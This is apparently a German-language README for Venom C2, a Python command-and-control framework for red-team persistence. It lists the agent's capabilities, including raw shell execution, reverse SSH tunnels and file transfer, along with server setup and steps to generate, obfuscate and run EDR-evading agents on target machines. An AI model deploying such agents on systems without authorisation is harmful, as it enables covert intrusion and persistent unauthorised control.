
Venom C2 ist ein abhängigkeitsfreies Python3 Command-&-Control-Framework für die Persistenz in Red-Team-Operationen.

Venom C2 ist ein abhängigkeitsfreies Python3-Kommando- und Kontroll-Framework für Redteam-Persistenz, das entwickelt wurde, um auf Systemen ohne Installation von Paketen zu laufen. Es besteht aus einem Flask-Teamserver, einer Electron-Operator-GUI und einem Single-File-Python-Agenten, der über HTTP/HTTPS mit konfigurierbaren AES-verschlüsselten JSON-Nachrichten kommuniziert. Verwenden Sie es, um Befehle auszuführen, Dateien zu verwalten, Zugriff aufrechtzuerhalten und SSH-Reverse-Tunnel von kompromittierten Systemen zu erstellen.
Beim Eskalieren von Netzwerkprivilegien landeten wir auf vielen Produktionssystemen mit exotischen Distributionen und Architekturen. Wir wollten Persistenz einrichten, aber unser Arsenal an Tools und Techniken funktionierte nicht. Zusätzlich liefen auf einigen der Zielsysteme EDR.
Dies waren Produktionssysteme, daher wollten wir keine Pakete installieren. Wir brauchten einen C2-Agenten, der ohne Abhängigkeiten läuft. Die Systeme hatten Python3 installiert, also erstellte ich Venom C2 mitten im Engagement: einen abhängigkeitsfreien Python3-C2-Agenten, der einfach funktioniert.
Wir wollten keine Standard-C2-Agenten verwenden, wegen des Risikos, dass sie zur Erkennung durch das Blue Team führen könnten. Einzigartiger Code ist der König für die Umgehung moderner EDRs
Da es viele Systeme gab, automatisierten wir einzigartige Verschleierung, Benennung, Dateisystemplatzierung, verschiedene Netzwerk-Callback-Domains und eindeutige Netzwerkpfad-Anfragen pro Agent.

Ich nannte es Venom, weil mein Sohn den Venom-Bösewicht aus Spider-Man liebt. Außerdem ist Python eine Schlange und coole Schlangen haben Gift, also schien es gut zu passen.
Es gibt keine.
Dies war nur ein einmaliges C2-Projekt, das ich mitten im Engagement durchführte. Es dauerte etwa 2 Tage Entwicklung, um es in der Zielumgebung stabil und zuverlässig zu bekommen. Es erfüllte seinen Zweck, verschaffte uns für die restlichen 6 Wochen des Engagements Persistenz im Netzwerk. Ich habe keine Pläne, dieses Projekt weiterzuentwickeln oder zu nutzen, also dachte ich, es sei ein guter Kandidat für eine öffentliche Veröffentlichung.
Sonst wäre es einfach im devNULL verloren gegangen...


[11-04-2025 11:31 AM MST] admin help
help : Display this help menu
ls : List directory contents
pwd : Show current working directory
cd : Change directory
cat : Display file contents
mv : Move/rename files or directories
cp : Copy files or directories
mkdir : Create directory
rmdir : Remove empty directory
write : Write content to file
chmod : Change file permissions
rm : Remove (delete) files
shell : Execute raw shell command
sleep : Make agent sleep with optional jitter
sshrev : Create reverse SSH tunnel
kill : Terminate agent process
upload : Upload a file from your local operator box to the remote agent box
download : Download a file from remote agent box to local operator box
git clone https://github.com/boku7/venom
cd venom
pip3 install -r server/requirements.txt
cd server
python3 server.py --help
python3 server.py
python3 server.py --adduser <USERNAME> <PASSWORD>Führen Sie die Client-Benutzeroberfläche auf Ihrer Workstation aus (nicht auf dem Server). Sie muss den Server erreichen können.
cd ../client
npm install
npm run start
Öffnen Sie den Client, gehen Sie zu Config und geben Sie die Server-Anmeldeinformationen ein.
Der clientseitige API-Basispfad des Servers ist /api/. Setzen Sie /api/ nicht dem öffentlichen Internet aus. Verwenden Sie VPN oder strenge Firewall-/Reverse-Proxy-Regeln, sodass nur vertrauenswürdige Clients darauf zugreifen können.
Aus dem server-Verzeichnis:
python3 agent_create.py -H <server_host> -P <server_port> [-http]
Aus dem server-Verzeichnis:
python3 agent_obfuscate.py agents/<generated_agent_file>.py
Wird auf dem Zielcomputer ausgeführt, den Sie steuern möchten.
python3 /Users/bobby/venom/server/obfuscate/output/obfuscated_agent_20251104_110902.py